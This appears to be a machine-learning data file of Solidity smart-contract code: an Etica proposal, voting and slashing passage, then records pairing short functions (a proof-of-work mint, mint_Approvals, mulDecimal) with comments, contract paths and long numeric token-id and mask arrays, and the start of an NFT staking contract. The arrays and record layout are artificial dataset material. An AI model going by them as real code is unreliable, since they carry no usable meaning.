if(diseases[diseasesbyIds[_diseasehash]].disease_hash != _diseasehash) revert(); // second check not necessary but I decided to add it as the gas cost value for security is worth it require(_chunkid <= chunksCounter); bytes32 _proposed_release_hash = keccak256(abi.encode(raw_release_hash, _diseasehash)); diseaseProposalsCounter[_diseasehash] = diseaseProposalsCounter[_diseasehash].add(1); diseaseproposals[_diseasehash][diseaseProposalsCounter[_diseasehash]] = _proposed_release_hash; proposalsCounter = proposalsCounter.add(1); // notice that first proposal will have the index of 1 thus not 0 ! proposalsbyIndex[proposalsCounter] = _proposed_release_hash; // Check that proposal does not already exist // only allow one proposal for each {raw_release_hash, _diseasehash} combinasion bytes32 existing_proposal = proposals[_proposed_release_hash].proposed_release_hash; if(existing_proposal != 0x0 || proposals[_proposed_release_hash].id != 0) revert(); //prevent the same raw_release_hash from being submited twice on same proposal. Double check for better security and slightly higher gas cost even though one would be enough ! uint _current_interval = uint((block.timestamp).div(REWARD_INTERVAL)); // Create new Period if this current interval did not have its Period created yet if(IntervalsPeriods[_current_interval] == 0x0){ newPeriod(); } Proposal storage proposal = proposals[_proposed_release_hash]; proposal.id = proposalsCounter; proposal.disease_id = _diseasehash; // _diseasehash has already been checked to equal diseases[diseasesbyIds[_diseasehash]].disease_hash proposal.period_id = IntervalsPeriods[_current_interval]; proposal.proposed_release_hash = _proposed_release_hash; // Hash of "raw_release_hash + name of Disease", proposal.proposer = msg.sender; proposal.title = _title; proposal.description = _description; proposal.raw_release_hash = raw_release_hash; proposal.freefield = _freefield; // Proposal Data: ProposalData storage proposaldata = propsdatas[_proposed_release_hash]; proposaldata.status = ProposalStatus.Pending; proposaldata.istie = true; proposaldata.prestatus = ProposalStatus.Pending; proposaldata.nbvoters = 0; proposaldata.slashingratio = 0; proposaldata.forvotes = 0; proposaldata.againstvotes = 0; proposaldata.lastcuration_weight = 0; proposaldata.lasteditor_weight = 0; proposaldata.starttime = block.timestamp; proposaldata.endtime = block.timestamp.add(DEFAULT_VOTING_TIME); // --- REQUIRE DEFAULT VOTE TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- // require(bosoms[msg.sender] >= PROPOSAL_DEFAULT_VOTE); // this check is not mandatory as handled by safemath sub function: (bosoms[msg.sender].sub(PROPOSAL_DEFAULT_VOTE)) // Consume bosom: bosoms[msg.sender] = bosoms[msg.sender].sub(PROPOSAL_DEFAULT_VOTE); // Block Eticas in eticablkdtbl to prevent user from unstaking before eventual slash blockedeticas[msg.sender] = blockedeticas[msg.sender].add(PROPOSAL_DEFAULT_VOTE); // store vote: Vote storage vote = votes[proposal.proposed_release_hash][msg.sender]; vote.proposal_hash = proposal.proposed_release_hash; vote.approve = true; vote.is_editor = true; vote.amount = PROPOSAL_DEFAULT_VOTE; vote.voter = msg.sender; vote.timestamp = block.timestamp; // UPDATE PROPOSAL: proposaldata.prestatus = ProposalStatus.Singlevoter; // if chunk exists and belongs to disease updates proposal.chunk_id: uint existing_chunk = chunks[_chunkid].id; if(existing_chunk != 0x0 && chunks[_chunkid].diseaseid == _diseasehash) { proposal.chunk_id = _chunkid; // updates chunk proposals infos: chunkProposalsCounter[_chunkid] = chunkProposalsCounter[_chunkid].add(1); chunkproposals[_chunkid][chunkProposalsCounter[_chunkid]] = proposal.proposed_release_hash; } // --- REQUIRE DEFAULT VOTE TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- // RANDOMHASH = keccak256(abi.encode(RANDOMHASH, _proposed_release_hash)); // updates RANDOMHASH emit NewProposal(_proposed_release_hash, msg.sender, proposal.disease_id, _chunkid); } function updatecost() public { // only start to increase PROPOSAL AND DISEASE COSTS once we are in phase2 require(supply >= 21000000 * 10**(decimals)); // update disease and proposal cost each 52 periods to take into account inflation: require(periodsCounter % 52 == 0); uint _new_disease_cost = supply.mul(47619046).div(10**13); // disease cost is 0.00047619046% of supply uint _new_proposal_vote = supply.mul(47619046).div(10**14); // default vote amount is 0.000047619046% of supply PROPOSAL_DEFAULT_VOTE = _new_proposal_vote; DISEASE_CREATION_AMOUNT = _new_disease_cost; assert(LAST_PERIOD_COST_UPDATE < periodsCounter); LAST_PERIOD_COST_UPDATE = periodsCounter; } function commitvote(uint _amount, bytes32 _votehash) public { require(_amount > 10); // Consume bosom: require(bosoms[msg.sender] >= _amount); // this check is not mandatory as handled by safemath sub function bosoms[msg.sender] = bosoms[msg.sender].sub(_amount); // Block Eticas in eticablkdtbl to prevent user from unstaking before eventual slash blockedeticas[msg.sender] = blockedeticas[msg.sender].add(_amount); // store _votehash in commits with _amount and current block.timestamp value: commits[msg.sender][_votehash].amount = commits[msg.sender][_votehash].amount.add(_amount); commits[msg.sender][_votehash].timestamp = block.timestamp; RANDOMHASH = keccak256(abi.encode(RANDOMHASH, _votehash)); // updates RANDOMHASH emit NewCommit(msg.sender, _votehash); } function revealvote(bytes32 _proposed_release_hash, bool _approved, string memory _vary) public { // --- check commit --- // bytes32 _votehash; _votehash = keccak256(abi.encode(_proposed_release_hash, _approved, msg.sender, _vary)); require(commits[msg.sender][_votehash].amount > 0); // --- check commit done --- // //check if the proposal exists and that we get the right proposal: Proposal storage proposal = proposals[_proposed_release_hash]; require(proposal.id > 0 && proposal.proposed_release_hash == _proposed_release_hash); ProposalData storage proposaldata = propsdatas[_proposed_release_hash]; // Verify commit was done within voting time: require( commits[msg.sender][_votehash].timestamp <= proposaldata.endtime); // Verify we are within revealing time: require( block.timestamp > proposaldata.endtime && block.timestamp <= proposaldata.endtime.add(DEFAULT_REVEALING_TIME)); require(proposaldata.prestatus != ProposalStatus.Pending); // can vote for proposal only if default vote has changed prestatus of Proposal. Thus can vote only if default vote occured as supposed to uint _old_proposal_curationweight = proposaldata.lastcuration_weight; uint _old_proposal_editorweight = proposaldata.lasteditor_weight; // get Period of Proposal: Period storage period = periods[proposal.period_id]; // Check that vote does not already exist // only allow one vote for each {raw_release_hash, voter} combinasion bytes32 existing_vote = votes[proposal.proposed_release_hash][msg.sender].proposal_hash; if(existing_vote != 0x0 || votes[proposal.proposed_release_hash][msg.sender].amount != 0) revert(); //prevent the same user from voting twice for same raw_release_hash. Double condition check for better security and slightly higher gas cost even though one would be enough ! // store vote: Vote storage vote = votes[proposal.proposed_release_hash][msg.sender]; vote.proposal_hash = proposal.proposed_release_hash; vote.approve = _approved; vote.is_editor = false; vote.amount = commits[msg.sender][_votehash].amount; vote.voter = msg.sender; vote.timestamp = block.timestamp; proposaldata.nbvoters = proposaldata.nbvoters.add(1); // PROPOSAL VAR UPDATE if(_approved){ proposaldata.forvotes = proposaldata.forvotes.add(commits[msg.sender][_votehash].amount); } else { proposaldata.againstvotes = proposaldata.againstvotes.add(commits[msg.sender][_votehash].amount); } // Determine slashing conditions bool _isapproved = false; bool _istie = false; uint totalVotes = proposaldata.forvotes.add(proposaldata.againstvotes); uint _forvotes_numerator = proposaldata.forvotes.mul(10000); // (newproposal_forvotes / totalVotes) will give a number between 0 and 1. Multiply by 10000 to store it as uint uint _ratio_slashing = 0; if ((_forvotes_numerator.div(totalVotes)) > APPROVAL_THRESHOLD){ _isapproved = true; } if ((_forvotes_numerator.div(totalVotes)) == APPROVAL_THRESHOLD){ _istie = true; } proposaldata.istie = _istie; if (_isapproved){ _ratio_slashing = uint(((10000 - APPROVAL_THRESHOLD).mul(totalVotes)).div(10000)); _ratio_slashing = uint((proposaldata.againstvotes.mul(10000)).div(_ratio_slashing)); proposaldata.slashingratio = uint(10000 - _ratio_slashing); } else{ _ratio_slashing = uint((totalVotes.mul(APPROVAL_THRESHOLD)).div(10000)); _ratio_slashing = uint((proposaldata.forvotes.mul(10000)).div(_ratio_slashing)); proposaldata.slashingratio = uint(10000 - _ratio_slashing); } // Make sure the slashing reward ratio is within expected range: require(proposaldata.slashingratio >=0 && proposaldata.slashingratio <= 10000); // updates period forvotes and againstvotes system ProposalStatus _newstatus = ProposalStatus.Rejected; if(_isapproved){ _newstatus = ProposalStatus.Accepted; } if(proposaldata.prestatus == ProposalStatus.Singlevoter){ if(_isapproved){ period.forprops = period.forprops.add(1); } else { period.againstprops = period.againstprops.add(1); } } // in this case the proposal becomes rejected after being accepted or becomes accepted after being rejected: else if(_newstatus != proposaldata.prestatus){ if(_newstatus == ProposalStatus.Accepted){ period.againstprops = period.againstprops.sub(1); period.forprops = period.forprops.add(1); } // in this case proposal is necessarily Rejected: else { period.forprops = period.forprops.sub(1); period.againstprops = period.againstprops.add(1); } } // updates period forvotes and againstvotes system done // Proposal and Period new weight if (_istie) { proposaldata.prestatus = ProposalStatus.Rejected; proposaldata.lastcuration_weight = 0; proposaldata.lasteditor_weight = 0; // Proposal tied, remove proposal curation and editor sum period.curation_sum = period.curation_sum.sub(_old_proposal_curationweight); period.editor_sum = period.editor_sum.sub(_old_proposal_editorweight); } else { // Proposal approved, strengthen curation sum if (_isapproved){ proposaldata.prestatus = ProposalStatus.Accepted; proposaldata.lastcuration_weight = proposaldata.forvotes; proposaldata.lasteditor_weight = proposaldata.forvotes; // Proposal approved, replace proposal curation and editor sum with forvotes period.curation_sum = period.curation_sum.sub(_old_proposal_curationweight).add(proposaldata.lastcuration_weight); period.editor_sum = period.editor_sum.sub(_old_proposal_editorweight).add(proposaldata.lasteditor_weight); } else{ proposaldata.prestatus = ProposalStatus.Rejected; proposaldata.lastcuration_weight = proposaldata.againstvotes; proposaldata.lasteditor_weight = 0; // Proposal rejected, replace proposal curation sum with againstvotes and remove proposal editor sum period.curation_sum = period.curation_sum.sub(_old_proposal_curationweight).add(proposaldata.lastcuration_weight); period.editor_sum = period.editor_sum.sub(_old_proposal_editorweight); } } // resets commit to save space: _removecommit(_votehash); emit NewReveal(msg.sender, proposal.proposed_release_hash); } function _removecommit(bytes32 _votehash) internal { commits[msg.sender][_votehash].amount = 0; commits[msg.sender][_votehash].timestamp = 0; } function clmpropbyhash(bytes32 _proposed_release_hash) public { //check if the proposal exists and that we get the right proposal: Proposal storage proposal = proposals[_proposed_release_hash]; require(proposal.id > 0 && proposal.proposed_release_hash == _proposed_release_hash); ProposalData storage proposaldata = propsdatas[_proposed_release_hash]; // Verify voting and revealing period is over require( block.timestamp > proposaldata.endtime.add(DEFAULT_REVEALING_TIME)); // we check that the vote exists Vote storage vote = votes[proposal.proposed_release_hash][msg.sender]; require(vote.proposal_hash == _proposed_release_hash); // make impossible to claim same vote twice require(!vote.is_claimed); vote.is_claimed = true; // De-Block Eticas from eticablkdtbl to enable user to unstake these Eticas blockedeticas[msg.sender] = blockedeticas[msg.sender].sub(vote.amount); // get Period of Proposal: Period storage period = periods[proposal.period_id]; uint _current_interval = uint((block.timestamp).div(REWARD_INTERVAL)); // Check if Period is ready for claims or if it needs to wait more uint _min_intervals = uint(((DEFAULT_VOTING_TIME.add(DEFAULT_REVEALING_TIME)).div(REWARD_INTERVAL)).add(1)); // Minimum intervals before claimable require(_current_interval >= period.interval.add(_min_intervals)); // Period not ready for claims yet. Need to wait more ! // if status equals pending this is the first claim for this proposal if (proposaldata.status == ProposalStatus.Pending) { // SET proposal new status if (proposaldata.prestatus == ProposalStatus.Accepted) { proposaldata.status = ProposalStatus.Accepted; } else { proposaldata.status = ProposalStatus.Rejected; } proposaldata.finalized_time = block.timestamp; // NEW STATUS AFTER FIRST CLAIM DONE } // only slash and reward if prop is not tie: if (!proposaldata.istie) { // convert boolean to enum format for making comparasion with proposaldata.status possible: ProposalStatus voterChoice = ProposalStatus.Rejected; if(vote.approve){ voterChoice = ProposalStatus.Accepted; } if(voterChoice != proposaldata.status) { // slash loosers: voter has voted wrongly and needs to be slashed uint _slashRemaining = vote.amount; uint _extraTimeInt = uint(STAKING_DURATION.mul(SEVERITY_LEVEL).mul(proposaldata.slashingratio).div(10000)); if(vote.is_editor){ _extraTimeInt = uint(_extraTimeInt.mul(PROPOSERS_INCREASER)); } // REQUIRE FEE if slashingratio is superior to 90.00%: if(proposaldata.slashingratio > 9000){ // 33% fee if voter is not proposer or 100% fee if voter is proposer uint _feeRemaining = uint(vote.amount.mul(33).div(100)); if(vote.is_editor){ _feeRemaining = vote.amount; } emit NewFee(msg.sender, _feeRemaining, vote.proposal_hash); UNRECOVERABLE_ETI = UNRECOVERABLE_ETI.add(_feeRemaining); // update _slashRemaining _slashRemaining = vote.amount.sub(_feeRemaining); for(uint _stakeidxa = 1; _stakeidxa <= stakesCounters[msg.sender]; _stakeidxa++) { //if stake is big enough and can take into account the whole fee: if(stakes[msg.sender][_stakeidxa].amount > _feeRemaining) { stakes[msg.sender][_stakeidxa].amount = stakes[msg.sender][_stakeidxa].amount.sub(_feeRemaining); stakesAmount[msg.sender] = stakesAmount[msg.sender].sub(_feeRemaining); _feeRemaining = 0; break; } else { // The fee amount is more than or equal to a full stake, so the stake needs to be deleted: _feeRemaining = _feeRemaining.sub(stakes[msg.sender][_stakeidxa].amount); _deletestake(msg.sender, _stakeidxa); if(_feeRemaining == 0){ break; } } } } // SLASH only if slash remaining > 0 if(_slashRemaining > 0){ emit NewSlash(msg.sender, _slashRemaining, vote.proposal_hash); for(uint _stakeidx = 1; _stakeidx <= stakesCounters[msg.sender]; _stakeidx++) { //if stake is too small and will only be able to take into account a part of the slash: if(stakes[msg.sender][_stakeidx].amount <= _slashRemaining) { stakes[msg.sender][_stakeidx].endTime = stakes[msg.sender][_stakeidx].endTime.add(_extraTimeInt); _slashRemaining = _slashRemaining.sub(stakes[msg.sender][_stakeidx].amount); if(_slashRemaining == 0){ break; } } else { // The slash amount does not fill a full stake, so the stake needs to be split uint newAmount = stakes[msg.sender][_stakeidx].amount.sub(_slashRemaining); uint oldCompletionTime = stakes[msg.sender][_stakeidx].endTime; // slash amount split in _slashRemaining and newAmount stakes[msg.sender][_stakeidx].amount = _slashRemaining; // only slash the part of the stake that amounts to _slashRemaining stakes[msg.sender][_stakeidx].endTime = stakes[msg.sender][_stakeidx].endTime.add(_extraTimeInt); // slash the stake if(newAmount > 0){ // create a new stake with the rest of what remained from original stake that was split in 2 splitStake(msg.sender, newAmount, oldCompletionTime); } break; } } } // the slash is over } else { uint _reward_amount = 0; // check beforte diving by 0 require(period.curation_sum > 0); // period curation sum pb ! // get curation reward only if voter is not the proposer: if (!vote.is_editor){ _reward_amount = _reward_amount.add((vote.amount.mul(period.reward_for_curation)).div(period.curation_sum)); } // if voter is editor and proposal accepted: if (vote.is_editor && proposaldata.status == ProposalStatus.Accepted){ // check before dividing by 0 require( period.editor_sum > 0); // Period editor sum pb ! _reward_amount = _reward_amount.add((proposaldata.lasteditor_weight.mul(period.reward_for_editor)).div(period.editor_sum)); } require(_reward_amount <= period.reward_for_curation.add(period.reward_for_editor)); // "System logic error. Too much ETICA calculated for reward." // SEND ETICA AS REWARD balances[address(this)] = balances[address(this)].sub(_reward_amount); balances[msg.sender] = balances[msg.sender].add(_reward_amount); emit Transfer(address(this), msg.sender, _reward_amount); emit RewardClaimed(msg.sender, _reward_amount, _proposed_release_hash); } } // end bracket if (proposaldata.istie not true) } function createchunk(bytes32 _diseasehash, string memory _title, string memory _description) public { //check if the disease exits require(diseasesbyIds[_diseasehash] > 0 && diseasesbyIds[_diseasehash] <= diseasesCounter); if(diseases[diseasesbyIds[_diseasehash]].disease_hash != _diseasehash) revert(); // second check not necessary but I decided to add it as the gas cost value for security is worth it // --- REQUIRE PAYMENT FOR ADDING A CHUNK TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- // uint _cost = DISEASE_CREATION_AMOUNT.div(20); // make sure the user has enough ETI to create a chunk require(balances[msg.sender] >= _cost); // transfer DISEASE_CREATION_AMOUNT / 20 ETI from user wallet to contract wallet: transfer(address(this), _cost); // --- REQUIRE PAYMENT FOR ADDING A CHUNK TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- // chunksCounter = chunksCounter.add(1); // get general id of Chunk // updates disease's chunks infos: diseaseChunksCounter[_diseasehash] = diseaseChunksCounter[_diseasehash].add(1); // Increase chunks index of Disease diseasechunks[_diseasehash][diseaseChunksCounter[_diseasehash]] = chunksCounter; // store the Chunk chunks[chunksCounter] = Chunk( chunksCounter, // general id of the chunk _diseasehash, // disease of the chunk diseaseChunksCounter[_diseasehash], // Index of chunk within disease _title, _description ); UNRECOVERABLE_ETI = UNRECOVERABLE_ETI.add(_cost); emit NewChunk(chunksCounter, _diseasehash); } // ------------- PUBLISHING SYSTEM CORE FUNCTIONS ---------------- // // ------------- GETTER FUNCTIONS ---------------- // // get bosoms balance of user: function bosomsOf(address tokenOwner) public view returns (uint _bosoms){ return bosoms[tokenOwner]; } function getdiseasehashbyName(string memory _name) public view returns (bytes32 _diseasehash){ return diseasesbyNames[_name]; } // ------------- GETTER FUNCTIONS ---------------- // }
the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacksthe challenge digest must match the expectedthe digest must be smaller than the targetonly allow one reward for each challenge 6 300 000 = 5 040 000 + 1 260 000;era5 to era10 3 570 000 = 1 890 000 + 1 680 000; era2 5 040 000 = 3 570 000 + 1 470 000;era3 era4
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) { bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce)); if (digest != challenge_digest) revert(); if(uint256(digest) > miningTarget) revert(); bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if(tokensMinted > 1890000 * 10**uint(decimals)){ if(tokensMinted >= 6300000 * 10**uint(decimals)) { } else if (tokensMinted < 3570000 * 10**uint(decimals)) { } else if (tokensMinted < 5040000 * 10**uint(decimals)) { } else { } } tokensMinted = tokensMinted.add(blockreward); supply = supply.add(blockreward); balances[msg.sender] = balances[msg.sender].add(blockreward); lastRewardEthBlockNumber = block.number; _startNewMiningEpoch(); emit Mint(msg.sender, blockreward, epochCount, challengeNumber ); emit Transfer(address(this), msg.sender,blockreward); return true; }
13,003,831
[ 1, 5787, 453, 83, 59, 1297, 912, 1440, 716, 6104, 279, 8399, 13750, 822, 379, 1203, 1651, 261, 25092, 1300, 13, 471, 326, 1234, 18, 15330, 1807, 1758, 358, 5309, 490, 1285, 49, 13843, 334, 580, 12948, 5403, 1297, 845, 326, 2665, 5787, 5403, 1297, 506, 10648, 2353, 326, 1018, 3700, 1699, 1245, 19890, 364, 1517, 12948, 1666, 11631, 20546, 273, 1381, 374, 7132, 20546, 397, 404, 576, 4848, 20546, 31, 6070, 25, 358, 25120, 2163, 890, 1381, 7301, 20546, 273, 404, 1725, 9349, 20546, 397, 404, 1666, 3672, 20546, 31, 25120, 22, 1381, 374, 7132, 20546, 273, 890, 1381, 7301, 20546, 397, 404, 1059, 7301, 20546, 31, 6070, 23, 25120, 24, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 540, 445, 312, 474, 12, 11890, 5034, 7448, 16, 1731, 1578, 12948, 67, 10171, 13, 1071, 1135, 261, 6430, 2216, 13, 288, 203, 203, 203, 2398, 1731, 1578, 5403, 273, 225, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 25092, 1854, 16, 1234, 18, 15330, 16, 7448, 10019, 203, 203, 2398, 309, 261, 10171, 480, 12948, 67, 10171, 13, 15226, 5621, 203, 203, 2398, 309, 12, 11890, 5034, 12, 10171, 13, 405, 1131, 310, 2326, 13, 15226, 5621, 203, 203, 203, 2868, 1731, 1578, 6959, 273, 6959, 1290, 18359, 63, 25092, 1854, 15533, 203, 2868, 6959, 1290, 18359, 63, 25092, 1854, 65, 273, 5403, 31, 203, 203, 2868, 309, 12, 7860, 49, 474, 329, 405, 6549, 29, 2787, 380, 1728, 636, 11890, 12, 31734, 3719, 95, 203, 7010, 2868, 309, 12, 7860, 49, 474, 329, 1545, 13746, 11706, 380, 1728, 636, 11890, 12, 31734, 3719, 288, 203, 2868, 289, 203, 203, 2868, 469, 309, 261, 7860, 49, 474, 329, 411, 890, 10321, 2787, 380, 1728, 636, 11890, 12, 31734, 3719, 288, 203, 2868, 289, 203, 2868, 469, 309, 261, 7860, 49, 474, 329, 411, 1381, 3028, 2787, 380, 1728, 636, 11890, 12, 31734, 3719, 288, 203, 2868, 289, 203, 2868, 469, 288, 203, 2868, 289, 203, 203, 2868, 289, 203, 203, 2398, 2430, 49, 474, 329, 273, 2430, 49, 474, 329, 18, 1289, 12, 2629, 266, 2913, 1769, 203, 203, 2398, 14467, 273, 14467, 18, 1289, 12, 2629, 266, 2913, 1769, 203, 2398, 324, 26488, 63, 3576, 18, 15330, 65, 273, 2 ]
./partial_match/137/0x7d1762E59eC0954C7A82e6E8c7FF52853DE483Ee/sources/DARKv2test1.sol
Approved contracts can mint DARKv2
function mint_Approvals(address to, uint256 amount) public onlyApprovalsMint { super._mint(to, amount); }
3,510,141
[ 1, 31639, 20092, 848, 312, 474, 463, 9584, 90, 22, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 312, 474, 67, 12053, 4524, 12, 2867, 358, 16, 2254, 5034, 3844, 13, 1071, 1338, 12053, 4524, 49, 474, 288, 203, 3639, 2240, 6315, 81, 474, 12, 869, 16, 3844, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xefaCa6Fc316B3B2Aa6c55FF5E02a62A85d4391e8/sources/@synthetixio/core-contracts/contracts/utils/DecimalMath.sol
* @dev See mulDecimal for uint256./
function mulDecimal(int256 x, int256 y) internal pure returns (int256) { return (x * y) / UNIT_INT; }
16,517,577
[ 1, 9704, 14064, 5749, 364, 2254, 5034, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 14064, 5749, 12, 474, 5034, 619, 16, 509, 5034, 677, 13, 2713, 16618, 1135, 261, 474, 5034, 13, 288, 203, 3639, 327, 261, 92, 380, 677, 13, 342, 28721, 67, 3217, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; pragma solidity ^0.8.0; interface IWhales { function mint(address to, uint256 amount) external; function burn(address from, uint256 amount) external; } contract Ocean is IERC721ReceiverUpgradeable, OwnableUpgradeable, PausableUpgradeable, ReentrancyGuardUpgradeable { event TokenStaked(address owner, uint128 tokenId); event WhalesMinted(address owner, uint256 amount); event TokenUnStaked(address owner, uint128 tokenId); // base 